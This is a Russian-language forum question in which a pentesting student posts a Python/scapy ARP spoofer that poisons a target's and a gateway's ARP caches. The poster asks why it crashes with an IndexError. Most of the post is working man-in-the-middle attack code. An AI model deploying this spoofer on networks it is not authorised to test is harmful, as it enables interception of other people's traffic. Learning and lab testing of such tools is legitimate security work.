Не знаю в чем проблема помогите! (Arp-spoofer падает во время сессии)

0
0 Комментариев

Всем привет, сразу дам небольшой комментарий… Нет я не очередной горе хакер, прохожу обучение на пентестера. Хочу понять в чем моя ошибка?

А теперь к сути:
Написал arp-spoofer начинаю тестировать сессию вместе с packet sniffer на другом домашнем пк. Запускаются обе программы нормально, все работает, и через какое то время спуфер падает с ошибкой, не могу понять в чем проблема. Тест по беспроводной сети.

arp-spoofer:

import scapy.all as scapy
import time
import sys

def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst=»ff:ff:ff:ff:ff:ff»)
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)

def restore(destination_ip, sourse_ip):
destination_mac = get_mac(destination_ip)
sourse_mac = get_mac(sourse_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=sourse_ip, hwsrc=sourse_mac)
scapy.send(packet, count=4, verbose=False)

target_ip = «19*.1**.0.1*0»
gateway_ip = «19*.1**.0.*»

sent_packets_count = 0
try:
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print(«\r[+] Packets sent:» + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print(«\n[+] Detected CTRL + C … Resetting ARP tables … Please wait\n»)
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)

Ошибка:
В начале пакеты проходят нормально. Но падает программа всегда по разному, может получить и отправить 600 пакетов а может упасть при 30
[+] Packets sent:52
Traceback (most recent call last):
File «arp_spoof.py», line 36, in <module>
spoof(target_ip, gateway_ip)
File «arp_spoof.py», line 18, in spoof
target_mac = get_mac(target_ip)
File «arp_spoof.py», line 14, in get_mac
return answered_list[0][1].hwsrc
File «/usr/lib/python2.7/dist-packages/scapy/plist.py», line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range

Питон 2. Пишу на Линукс тестирую в Винде. Библиотеки scapy, time, sys


Добавить комментарий

0 Answers

Python Опубликовано 15.09.2019
Напишите свой ответ на данный вопрос.
Scroll Up

Подпишись на канал!

Новые видеоуроки, книги и полезные статьи для python программистов!